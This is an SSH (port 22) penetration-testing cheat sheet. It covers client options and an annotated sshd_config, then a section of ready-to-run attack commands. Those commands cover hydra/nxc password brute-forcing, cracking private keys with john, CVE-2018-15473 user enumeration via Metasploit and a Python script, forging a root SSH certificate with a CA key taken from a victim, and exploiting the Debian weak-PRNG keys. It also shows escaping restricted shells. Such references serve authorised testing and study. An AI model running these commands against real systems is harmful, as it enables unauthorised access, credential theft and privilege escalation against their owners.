SSH | 22

00. Basic

SSH (Secure Shell) is a cryptographic protocol for secure remote access and data transfer over TCP port 22, using SSHv2 for security (SSHv1 is insecure); prefer key-based authentication over passwords, disable root login, configure on Linux via /etc/ssh/sshd_config with sudo systemctl restart sshd, use OpenSSH or PuTTY on Windows, allow TCP port 22 in firewalls while restricting to trusted IPs, and check /var/log/auth.log on Linux for troubleshooting.

• SSH Login Options

## ------------------| Debugging and Troubleshooting
ssh -v h4rithd@$IP                                   ## Enable verbose output for debugging
ssh -vvv h4rithd@$IP                                 ## Enable maximum verbose output

## ------------------| Host Key Management
ssh -o UserKnownHostsFile=/dev/null h4rithd@$IP      ## Prevents ssh from attempting to save the host key
ssh -o StrictHostKeyChecking=no h4rithd@$IP          ## Instruct ssh to not prompt to accept the host key
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null h4rithd@$IP      ## Combine to bypass host key checking (insecure, for testing)

## ------------------| Escaping Restricted Shells
ssh -t bash h4rithd@$IP                              ## Escape rbash by forcing bash
ssh -t /bin/sh h4rithd@$IP                           ## Escape rbash using sh
ssh -t python -c 'import pty; pty.spawn("/bin/bash")' h4rithd@$IP      ## Escape rbash with Python PTY

## ------------------| Using sshpass for Automation
sshpass -f /path/to/keyfile ssh h4rithd@$IP          ## Use sshpass with key file
sshpass -p 'password' ssh h4rithd@$IP                ## Use sshpass with password (insecure)
sshpass -p 'password' ssh -o StrictHostKeyChecking=no h4rithd@$IP      ## Combine sshpass with no host key checking

## ------------------| Authentication Methods
ssh -o PubkeyAuthentication=no h4rithd@$IP           ## Disable public key authentication
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no h4rithd@$IP      ## Force password authentication
ssh -o GSSAPIAuthentication=no h4rithd@$IP           ## Disable GSSAPI authentication
ssh -i /path/to/id_rsa_custom h4rithd@$IP            ## Use specific private key file

## ------------------| Encryption and Compatibility
ssh -o MACs=hmac-sha2-256 h4rithd@$IP               ## Specify modern MAC algorithm
ssh -o MACs=hmac-sha2-512 h4rithd@$IP               ## Specify modern MAC algorithm
ssh -o MACs=hmac-md5 h4rithd@$IP                    ## Try legacy MAC for compatibility (deprecated, insecure)
ssh -o Ciphers=aes256-ctr h4rithd@$IP               ## Specify encryption cipher
ssh -o KexAlgorithms=diffie-hellman-group14-sha1 h4rithd@$IP      ## Specify legacy key exchange algorithm
ssh -o HostKeyAlgorithms=+ssh-dss h4rithd@$IP       ## Specify legacy host key algorithm
ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -o HostKeyAlgorithms=+ssh-dss h4rithd@$IP      ## Combine legacy key exchange and host key algorithms

## ------------------| Connection Optimization
ssh -2 h4rithd@$IP                                  ## Force SSHv2 protocol (SSHv1 is insecure)
ssh -C h4rithd@$IP                                  ## Enable compression for faster data transfer
ssh -p 2222 h4rithd@$IP                             ## Use custom port (e.g., 2222)
ssh -F /path/to/custom_ssh_config h4rithd@$IP       ## Use custom SSH config file

• Default Configurations

# ------------------| Potentially Dangerous SSH Settings
PermitRootLogin prohibit-password         ## Still allows root login via SSH key; consider setting to "no" for higher security
PasswordAuthentication yes                ## Enables brute-force attacks; disable and use key-based authentication instead
AllowAgentForwarding yes                  ## Can be abused if server is compromised to hijack SSH agent sessions
AllowTcpForwarding yes                    ## Can be used to bypass firewalls or pivot inside networks
X11Forwarding yes                         ## Can expose X11 display to attackers; may allow keylogging or remote control
ClientAliveInterval 0                     ## Disables keep-alive checks; idle sessions may remain open indefinitely
UseDNS no                                 ## Safe setting, but if changed to "yes", it may open risks of DNS spoofing
AuthorizedKeysFile .ssh/authorized_keys2  ## Deprecated/legacy; can cause confusion or bypass security reviews

## ------------------| Basic Settings
Include /etc/ssh/sshd_config.d/*.conf	  ## Includes additional configuration files from this directory
Port 22					  ## Used for SSH service (default port)
AddressFamily any			  ## SSH will accept both IPv4 and IPv6 connections
ListenAddress 0.0.0.0			  ## SSH listens on all IPv4 addresses
ListenAddress ::			  ## SSH listens on all IPv6 addresses
HostKey /etc/ssh/ssh_host_rsa_key	  ## RSA host key location
HostKey /etc/ssh/ssh_host_ecdsa_key	  ## ECDSA host key location
HostKey /etc/ssh/ssh_host_ed25519_key	  ## Ed25519 host key location
PidFile /run/sshd.pid			  ## PID file location for the SSH daemon
VersionAddendum none			  ## No custom SSH version string displayed
Banner none				  ## No login banner displayed

## ------------------| Credential Management
PermitRootLogin prohibit-password	  ## Root login allowed only with key-based authentication
PubkeyAuthentication yes		  ## Enables public key authentication
PasswordAuthentication yes		  ## Enables password authentication
PermitEmptyPasswords no			  ## Disallows login with empty passwords
AuthorizedPrincipalsFile none		  ## No authorized principals file used
AuthorizedKeysCommand none		  ## No custom command to retrieve authorized keys
AuthorizedKeysCommandUser nobody	  ## If used, command would run as user "nobody"
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2	## Locations of user's authorized keys

## ------------------| Authentication Settings
StrictModes yes				  ## Checks file permissions for security
MaxAuthTries 6				  ## Maximum authentication attempts per connection
MaxSessions 10				  ## Maximum number of sessions per network connection
LoginGraceTime 2m			  ## Allows 2 minutes for users to authenticate
KbdInteractiveAuthentication no		  ## Disables keyboard-interactive authentication
HostbasedAuthentication no		  ## Disables host-based authentication
IgnoreUserKnownHosts no			  ## SSH will use user's known_hosts file
IgnoreRhosts yes			  ## Ignores legacy rhosts files

## ------------------| Kerberos & GSSAPI
KerberosAuthentication no		  ## Disables Kerberos authentication
KerberosOrLocalPasswd yes		  ## Falls back to local password if Kerberos fails
KerberosTicketCleanup yes		  ## Cleans up Kerberos tickets after login
KerberosGetAFSToken no			  ## Does not get AFS token via Kerberos
GSSAPIAuthentication no			  ## Disables GSSAPI-based authentication
GSSAPICleanupCredentials yes		  ## Cleans up GSSAPI credentials after login
GSSAPIStrictAcceptorCheck yes		  ## Enables strict host checking in GSSAPI
GSSAPIKeyExchange no			  ## Disables GSSAPI for key exchange

## ------------------| PAM & Session Management
UsePAM yes				  ## Enables Pluggable Authentication Modules
PermitTTY yes				  ## Allows allocation of TTY for SSH sessions
PrintMotd no				  ## Does not print message of the day
PrintLastLog yes			  ## Displays last login information upon login

## ------------------| Logging & Auditing
SyslogFacility AUTH			  ## Logs go to the AUTH syslog facility
LogLevel INFO				  ## Log verbosity level set to INFO

## ------------------| Connection Settings
RekeyLimit default none			  ## No limit on SSH rekeying
TCPKeepAlive yes			  ## Sends keepalive packets to clients
ClientAliveInterval 0			  ## Disables client alive messages
ClientAliveCountMax 3			  ## Number of client alive messages before disconnection
MaxStartups 10:30:100			  ## Limits on simultaneous unauthenticated connections

## ------------------| Forwarding & Tunneling
AllowAgentForwarding yes		  ## Allows SSH agent forwarding
AllowTcpForwarding yes			  ## Allows TCP forwarding through SSH
GatewayPorts no				  ## Disallows remote hosts from connecting to forwarded ports
PermitTunnel no				  ## Disables tunneling via SSH

## ------------------| X11 Forwarding
X11Forwarding yes			  ## Enables X11 forwarding
X11DisplayOffset 10			  ## Sets display number offset for X11 forwarding
X11UseLocalhost yes			  ## X11 will bind to localhost only

## ------------------| Environment & Compression
PermitUserEnvironment no		  ## Disallows environment variable files in user's home
Compression delayed			  ## Enables compression after authentication
UseDNS no				  ## Disables DNS resolution of client hostname
AcceptEnv LANG LC_*			  ## Accepts only language-related environment variables

## ------------------| Subsystems
Subsystem sftp /usr/lib/openssh/sftp-server	## Defines the SFTP subsystem

## ------------------| Match Blocks
Match User anoncvs		          ## Applies the following settings only to user 'anoncvs'
	X11Forwarding no		  ## Disables X11 forwarding for 'anoncvs'
	AllowTcpForwarding no		  ## Disables TCP forwarding for 'anoncvs'
	PermitTTY no			  ## Disallows TTY for 'anoncvs'
	ForceCommand cvs server		  ## Forces the command 'cvs server' for 'anoncvs'

01. Enumeration & Exploitation

01.1 Enumeration

sh-audit $IP

01.2 Exploitation

• Brute Force

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://$IP:22 -t 4
nxc ssh $IP -u users.txt -p passwords.txt

• Crack Private Keys

python3.8 /usr/share/john/ssh2john.py id_rsa > id_rsa.john
john id_rsa.john -w=/usr/share/wordlists/rockyou.txt

• User Enumeration (OpenSSH 7.7 | CVE-2018-15473)

## ------------------| Using MSF
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS <IP>
set USER_FILE userlist.txt
run

## ------------------| Using Python
git clone https://gitlab.com/epi052/cve-2018-15473.git && cd cve-2018-15473
pip install -r requirements.txt 
python3 ssh-username-enum.py -w userlist.txt $IP

• SSH Certificate-Based Authentication for Root Access

## ------------------| Background
### This method allows you to generate an SSH certificate that grants root access 
### using a trusted Certificate Authority (CA) key.

## ------------------| Prerequisites
### You already have a private key (ca_key) and its corresponding public key (ca_key.pub).
### The CA public key (ca_key.pub) is listed in the SSH server’s configuration (/etc/ssh/sshd_config.d/sshcerts.conf)
### The entry should look like this --> TrustedUserCAKeys /etc/ssh/ca_key.pub

## ------------------| Getting root access
ssh-keygen -t ed25519 -f root
ssh-keygen -s <private_key_from_victim> -z 223 -I 'root' -V -5m:forever -n root root.pub
#### -s <private_key_from_victim> → The CA private key used for signing.
#### -z 223 → (Doesn’t really matter) Serial number (223) for tracking issued certificates.
#### -I 'root' → Identity label (root).
#### -V -5m:forever → Sets the validity period:
######## -5m → Starts 5 minutes in the past (to avoid clock drift issues).
######## forever → The certificate never expires.
######## if you want expire it in 42 weeks --> -5m:+42w
#### -n root → Specifies that only root can use this key.
#### root.pub → The public key being signed.
ssh-keygen -L -f root-cert.pub
chmod 600 root
ssh -i root root@<IP>

• CVE-2008-0166 (Debian-based systems | September 2006 <--> 2008 May 13th)

https://www.exploit-db.com/exploits/5720

• Predictable PRNG Brute Force SSH

## ------------------| Info
## OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) 
## you need authorized_keys file on your machine.

## ------------------| Setup
## Add "PubkeyAcceptedKeyTypes +ssh-dss" to /etc/ssh/ssh_config file
git clone https://github.com/g0tmi1k/debian-ssh
wget https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_dsa_1024_x86.tar.bz2               
wget https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_rsa_2048_x86.tar.bz2
tar -xf *.bz2
## check anything match with authorized_keys file. 
## Copy the first 40 chars in the authorized_keys, then search it in the repo
grep -lr 'AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNA'
## After finding the pub key, The corresponding Private key which is also in the same directory (without pub).
ssh -i key -oKexAlgorithms=+diffie-hellman-group1-sha1 <USER>@$IP